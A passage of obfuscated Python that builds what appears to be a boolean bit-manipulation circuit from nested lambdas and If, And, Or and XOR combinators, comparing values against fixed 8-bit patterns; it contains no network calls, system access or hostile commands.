lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_) (__))(___)))((Eor)((Eor)(_)(__))(___)))))))(_)(__)(F)))((lambda _: (lambda _: _(F)) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T)) (____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T)) (____))))(_(__(F))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____)))) (_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____)))) (_(__(T))((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F)) (___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(_____))((lambda _: _(F))(____))))(_(__(T)) ((lambda _: _(T))(____))))(_(__(F))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (_____))((lambda _: _(F))(____))))(_(__(T))((lambda _: _(T))(____))))(_(__(F))(___))) (lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)))))) (_)(F)))(____)))))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____))) (_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________))) (T)(F)(F)(F)(F)(T)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____))) (_____)(______)(_______)(________)))(T)(T)(T)(T)(F)(F)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__) (___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(T) (F)(F)(T)(T)(F)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____) (______)(_______)(________)))(F)(T)(T)(F)(F)(T)(F)(F))))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F)) (_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))(____)(_____)))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F)) (_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____)))) (_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T)) (___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T)) ((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((Or)((And)(_)(__))((And)((Eor)(_)(__))(___)))((Eor) ((Eor)(_)(__))(___)))))))(_)(__)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____)))) (_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_) (__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) (lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__)))))) (_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T)) (_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____)) ((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T)) (____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____)) ((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T)) (___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____)))) (_(__(F))((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))((lambda _: (lambda _: _(F))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F)) (____))((lambda _: _(F))(_____))))(_(__(F))((lambda _: _(T))(____))))(_(__(T))(___))) ((lambda _: lambda __: lambda ___: (lambda ____: (lambda _____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(T))(_____))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(____))((lambda _: _(F))(_____))))(_(__(F)) ((lambda _: _(T))(____))))(_(__(T))(___)))(lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))))))(_)(F)))(____))))))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))((lambda _: lambda __: lambda ___: (If) (___)(_)(__))(___)(____)))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____))) (_____)(______)(_______)(________)))(T)(F)(F)(F)(T)(T)(T)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__) (___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(F)(T) (F)(T)(T)(T)(T)(T))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_) (__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___) (_)(__))(_)(__))(___)(____)))(_)(__)(___)(____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____) (______)(_______)(________)))(F)(T)(T)(F)(F)(F)(F)(F))((lambda _: lambda __: lambda ___: lambda ____: lambda _____: lambda ______: lambda _______: lambda ________: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_)(__)(___) (____))((lambda _: lambda __: lambda ___: lambda ____: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))(_)(__))(_)(__))((lambda _: lambda __: (lambda _: lambda __: lambda ___: (If)(___)(_)(__))(_)(__))(___)(____)))(_____)(______)(_______)(________)))(T)(F)(F)(T) (T)(F)(F)(F)))))))((lambda _: lambda __: (lambda _: _(F))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If) (___)(_)(__))((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_) (__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T))(_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))((lambda _: lambda __: lambda ___: lambda ____: (lambda _____: (lambda ______: (lambda _: lambda __: lambda ___: (If)(___)(_)(__)) ((lambda _: _(T))(______))((lambda _: lambda __: lambda ___: (If)(___)(_)(__))((lambda _: _(F))(______))((lambda _: _(F))(_____))))(_(__(T))(___(T))((lambda _: _(T)) (_____))))(_(__(F))(___(F))(____)))(lambda _: lambda __: lambda ___: (lambda _: lambda __: lambda ___: 